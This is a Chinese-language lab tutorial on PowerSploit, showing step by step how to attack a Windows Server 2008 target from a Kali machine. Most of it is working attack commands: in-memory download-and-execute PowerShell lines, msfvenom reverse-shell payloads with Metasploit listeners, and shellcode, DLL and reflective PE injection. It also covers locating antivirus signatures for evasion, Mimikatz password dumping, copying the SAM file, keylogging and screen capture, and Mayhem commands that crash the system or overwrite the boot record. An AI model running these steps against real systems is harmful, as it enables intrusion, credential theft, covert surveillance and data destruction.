一、PowerSploit簡介
PowerSploit是GitHub上面的一個安全項目,上面有很多powershell攻擊腳本,它們主要被用來滲透中的信息偵察、權限提升、權限維持。
Powershell的優點:
1.代碼運行在內存中可以不去接觸磁盤
2.從另一個系統中下載代碼並執行
3.很多安全產品並不能監測到powershell的活動
4.cmd.exe通常被阻止運行,但是powershell不會
二、實驗環境
Win7 搭建powersploit站點 ip:10.10.10.187
Win 2008(靶機) 遠程加載位於win7的powersploit上的腳本 ip:10.10.10.183
Kali powersploit部分腳本可能需要kali msf的配合 ip:10.10.10.128
三、搭建站點
1.首先在win7搭建簡易可下載powersploit腳本的服務器,本例用python的web功能搭建一個站點,也可以用IIS以及apache等來搭建。
Python -m http.server 80 #注意是python3.7的命令,不同版本可能開啟web服務的命令可能不同。
2.在靶機(win 2008)上測試
四、powershell腳本分類以及功能
一、AntivirusBypass(繞過殺毒)
Find-AVSignature 發現殺軟的簽名
二、CodeExecution(代碼執行)
1. Invoke-DllInjection.ps1 DLL注入腳本 注意dll架構要與目標進程相符,同時要具備相應的權限
2. Invoke-ReflectivePEInjection.ps1 反射型注入 將Windows PE文件(DLL / EXE)反射加載到powershell進程中,或反射地將DLL注入遠程進程
3. Invoke-Shellcode.ps1 將shellcode插入您選擇的進程ID或本地PowerShell中
4. Invoke-WmiCommand.ps1 在目標主機使用wmi執行命令
三、Exfiltration(信息收集) #這個文件夾主要是收集目標主機上的信息
1. Out-Minidump.ps1 生成一個進程的全內存小數據庫
2. Get-VaultCredential.ps1 顯示Windows徽標憑據對象,包括明文Web憑據
3. Get-Keystrokes.ps1 記錄按鍵,時間和活動窗口
4. Get-GPPPassword.ps1 檢索通過組策略首選項推送的帳戶的明文密碼和其他信息
5. Get-GPPAutologon.ps1 如果通過組策略首選項推送,則從registry.xml檢索自動登錄用戶名和密碼
6. Get-TimedScreenshot.ps1 這是一個以定期間隔拍攝屏幕並將其保存到文件夾的功能
7. Invoke-Mimikatz.ps1 查看主機密碼
8. Invoke-NinjaCopy.ps1 通過讀取原始卷並解析NTFS結構,從NTFS分區卷復制文件
9. Invoke-CredentialInjection.ps1 使用明文憑據創建登錄,而不會觸發可疑事件ID 4648(顯式憑證登錄)
10. Invoke-TokenManipulation.ps1 列出可用的登錄令牌。與其他用戶創建進程登錄令牌,並模仿當前線程中的登錄令牌
11. Get-MicrophoneAudio.ps1 通過麥克風記錄聲音
12. VolumeShadowCopyTools.ps1
四、Recon(信息偵察) #這個文件夾主要是以目標主機為跳板進行內網主機偵察
1. Invoke-Portscan.ps1 端口掃描
2. Get-HttpStatus.ps1 返回指定路徑的HTTP狀態代碼和完整URL,並附帶字典文件
3. Invoke-ReverseDnsLookup.ps1 掃描DNS PTR記錄的IP地址范圍
4. PowerView.ps1 PowerView是一系列執行網絡和Windows域枚舉和利用的功能
5.Get-ComputerDetails 獲得登錄信息
五、ScriptModification(腳本修改)
1. Out-EncodedCommand.ps1 將腳本或代碼塊編碼,並為PowerShell有效載荷腳本生成命令行輸出
2. Out-EncryptedScript.ps1 加密文本文件/腳本
3. Out-CompressedDll.ps1 壓縮,Base-64編碼,並輸出生成的代碼,以將受管理的DLL加載到內存中
4. Remove-Comments.ps1 從腳本中刪除注釋和多余的空白
六、Persistence(權限維持)
1. New-UserPersistenceOption 為添加持久性函數配置用戶級持久性選項。
2. New-ElevatedPersistenceOption 為添加持久性函數配置提升的持久性選項。
3. Add-Persistence 向腳本添加持久性功能
4. Install-SSP 安裝安全支持提供程序(ssp)dll
5. Get-SecurityPackages
七、Privesc(提權)
PowerUP: 共同特權升級檢查的信息交換所,以及一些武器化載體
Get-System
八、Mayhem
Set-MasterBootRecord 選擇的消息覆寫主引導記錄
Set-CriticalProcess 退出powershell時使系統藍屏
五、開始實驗
一、AntivirusBypass(繞過殺毒)
Find-AVSignature 發現殺軟的簽名
1、先在靶機(windows 2008)上遠程加載位於win7的Invoke-Shellcode.ps1腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/AntivirusBypass/Find-AVSignature.ps1")
2、運行腳本,這里以之前的msf.exe反彈馬為例 注意:本例把偏移量划分的不太合適,有興趣自己慢慢划分,文件的偏移量范圍本例使用winhex查看的。
Find-AVSignature -StartByte 0 -EndByte 220000 -Interval 110000 -Path C:\Users\Administrator.WIN2008\Desktop\msf.exe -OutPath C:\Users\Administrator.WIN2008\Desktop\test\run2 -Verbose
3、 上圖生成3個文件,然后把每個文件用在線病毒測試網站測試一下(這里推薦使用http://www.virscan.org/),看看病毒在哪個文件,然后再把有病毒的那個文件繼續划分偏移量范圍生成新的文件,然后繼續再病毒測試網站測試,直到最終確定病毒的特征碼范圍。
二、CodeExecution(代碼執行)
Shellcode注入:
1、先在靶機(windows 2008)上遠程加載位於win7的Invoke-Shellcode.ps1腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1")
get-help Invoke-Shellcode
2、在kali中使用msfvenom生成一個powershell反彈馬
msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.10.128 lport=4444 -f powershell -o /var/www/test
3、在msf中設置監聽(windows/x64/meterpreter/reverse_https模塊進行反彈)並開啟監聽
use exploit/multi/handler #使用監聽模塊
set payload windows/x64/meterpreter/reverse_https #設置一個payload
4、把剛才使用msfvenom生成的powershell腳本復制到靶機(windows 2008)
5、靶機(windows 2008)加載shellcode #注意這里的shellcode為在kali用msfvenom生成的一個powershell腳本,打開內容,取變量$buf的值
Invoke-Shellcode -Shellcode @() #可以查看幫助文檔,其中有一個例子這個的用法
6、kali中運行監聽之后就可以看到得到靶機(windows 2008)的一個meterpreter的shell,說明成功控制靶機
7、也可以把使用Invoke-Shellcode腳本進行進程注入到別的進程(這里以explorer的3508為例)
DLL:
首先我們需要知道我們在啟動一個程序的時候並沒有把所有的需要用到的數據或者文件運行起來,而是只運行了關鍵部分,那么當我們需要調用到某一功能時再通過DLL來動態鏈接,不需要時就可以卸載,使得程序不顯得臃腫。
DLL注入就是將代碼插入/注入到正在運行的進程中的過程。我們注入的代碼是動態鏈接庫(DLL)的形式。為什么可以做到這一點?因為DLL是在運行時根據需要來進行加載
注意:對某些進程的注入需要一定的權限
Dll注入:
可以利用powersploit將dll文件注入到當前進程中,但是dll文件必須在目標主機上。
1.先在靶機(windows 2008)上遠程加載位於win7的Invoke-DllInjection.ps1腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1")
2.kali利用msfvenom生成一個dll反彈馬
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.128 lport=4444 -f dll -o /var/www/msf.dll
3.在msf中設置監聽(windows/x64/meterpreter/reverse_tcp模塊進行反彈)並開啟監聽
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
4.把剛才生成的msf.dll文件拷貝到靶機(windows 2008),然后在windows 2008上運行powershll腳本
Invoke-DllInjection -ProcessID 464 -Dll C:\Users\Administrator.WIN2008\Desktop\msf.dll
5.kali msf中運行監聽,就可以看到windows 2008反彈過來一個session
6.也可以開啟一個隱藏進程並注入dll
Invoke-ReflectivePEInjection 反射型PE注入
1、先在靶機(windows 2008)上遠程加載位於win7 Invoke-ReflectivePEInjection腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-ReflectivePEInjection.ps1")
2、kali中利用msfvenom生成一個exe反彈馬並對木馬進行多次編碼
msfvenom -p windows/x64/meterpreter_reverse_tcp -e -i 3 lhost=10.10.10.128 lport=4444 -f exe -o /var/www/msf.exe
3、在kali msf中設置監聽(windows/x64/meterpreter_reverse_tcp)並開啟監聽
4、把在kali中生成的exe木馬復制到靶機,在靶機(windows 2008)執行腳本
$PEBytes = [IO.File]::ReadAllBytes('C:\Users\Administrator.WIN2008\Desktop\msf.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
5、這時在kali端就能看到一個windows 2008反彈過來的session
三、Recon(信息偵察)
Invoke-Portscan 端口掃描
1、先在靶機(windows 2008)上遠程加載位於win7 Invoke-Portscan.ps1腳本
2、開始端口掃描,這里以掃描一個ip字典為例,別的參數,可以查看幫助文檔
Invoke-ReverseDnsLookup 反向DNS查詢
1、 先在靶機(windows 2008)上遠程加載位於win7 Invoke-ReverseDnsLookup腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Invoke-ReverseDnsLookup.ps1")
1、 運行腳本查找特定的ip的主機名,下圖可以看到查找ip對應的主機名
Invoke-ReverseDnsLookup "10.10.10.128,10.10.10.183,10.10.10.187" | fl IP,HostName
Get-HttpStatus 網站目錄檢測
1、先在靶機(windows 2008)上遠程加載位於win7 Get-HttpStatus腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Get-HttpStatus.ps1")
2、 自己創建一個字典,運行腳本,下圖可以看到status狀態是ok說明目標存在那個網站目錄。
Get-ComputerDetails 獲得主機登錄信息
1、 先在靶機(windows 2008)上遠程加載位於win7 Get-ComputerDetails腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Get-ComputerDetails.ps1")
2、 運行腳本Get-ComputerDetails,看到如下效果,有報錯,不知道什么原因,難道powerspolit大神異常處理沒考慮完全?
四、Exfiltration(信息收集) #這個文件夾主要是收集目標主機上的信息
Invoke-Mimikatz 查看主機密碼(需要管理員權限)
1、先在靶機(windows 2008)上遠程加載位於win7 Invoke-Mimikatz腳本,並運行腳本查看密碼
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-Mimikatz.ps1")
Get-Keystrokes 鍵盤記錄(詳細的鼠標鍵盤記錄)
1、先在靶機(windows 2008)上遠程加載位於win7 Get-Keystrokes腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Get-Keystrokes.ps1")
2、運行Get-Keystrokes,並把記錄結果保存到一個文件
Invoke-NinjaCopy 超級復制(需要管理員權限,可以復制受保護的運行中的系統文件)
1、先在靶機(windows 2008)上遠程加載位於win7 Invoke-NinjaCopy腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-NinjaCopy.ps1")
get-help Invoke-NinjaCopy
2、運行腳本,把SAM文件復制一份到別處,下圖可以看到成功復制一份SAM文件,注意普通復制不能復制系統限制的文件。
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "C:\Users\Administrator\Desktop\SAM"
3、用普通復制測試一下,看看能否復制SAM文件,下圖可以看到普通復制無法復制SAM,因為系統對SAM文件進行保護,只要進程一開啟(系統開機自動運行關於SAM文件的進程並且無法停止掉進程),別的程序或者進程就無法訪問SAM文件。
Get-TimedScreenshot 屏幕記錄
1.先在靶機(windows 2008)上遠程加載位於win7 Get-TimedScreenshot腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Get-TimedScreenshot.ps1")
2.運行腳本,在test文件夾中可以看到抓取屏幕的圖片
Get-TimedScreenshot -Path c:\test\ -Interval 10 -EndTime 23:20
3.Get-MicrophoneAudio 通過麥克風記錄聲音,與Get-TimedScreenshot(屏幕記錄)方法一樣,這里不再測試
Invoke-CredentialInjection
1.先在靶機(windows 2008)上遠程加載位於win7 Invoke-TokenManipulation腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-TokenManipulation.ps1")
2.Invoke-TokenManipulation -Enumerate 枚舉唯一 可用的令牌 別的例子自己查看幫助
五、ScriptModification 腳本修改
Out-CompressedDll 將dll壓縮並base64編碼
1.先在靶機(windows 2008)上遠程加載位於win7 Out-CompressedDll腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/Out-CompressedDll.ps1")
2.運行腳本 Out-CompressedDll -FilePath C:\Users\Administrator.WIN2008\Desktop\msf.dll
Out-EncodedCommand 將腳本或代碼塊編碼
1.先在靶機(windows 2008)上遠程加載位於win7 Out-EncodedCommand腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Out-EncodedCommand .ps1")
2. 腳本塊編碼
3.腳本編碼
Out-EncryptedScript 腳本加密
1.先在靶機(windows 2008)上遠程加載位於win7 Out-EncryptedScript腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Out-EncryptedScript .ps1")
2.給腳本加密
Remove-Comments 刪除注釋和不必要的空白符
1.先在靶機(windows 2008)上遠程加載位於win7 Remove-Comments腳本
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Remove-Comments .ps1")
2.運行腳本,刪除代碼塊中的空白和注釋以及腳本中的空白和注釋
六、Mayhem
1.首先查看Mayhem幫助說明文檔,可以看到說明文檔使用Mayhem模塊需要先將Mayhem放到C:\Windows\System32\WindowsPowerShell\v1.0\Modules下,然后需要導入模塊
2.將Mayhem放到相應的位置之后,便開始導入模塊,以及查看命令幫助
Import-Module Mayhem
Get-Command -Module Mayhem
3.開始使用命令
3.1Set-CriticalProcess 退出powershell時使系統藍屏
3.2退出powershell測試是否藍屏,下圖可以看到藍屏了
3.3 Set-MasterBootRecord 覆寫主引導記錄,本次實驗並沒有成功
你的點贊就是對作者最大的感謝,由於作者水平有限,難免會出現問題,請指出,大家共同進步,有好的相關文章也請推薦下,共同學習。
------------------------------------------------------------------------------------------------------------------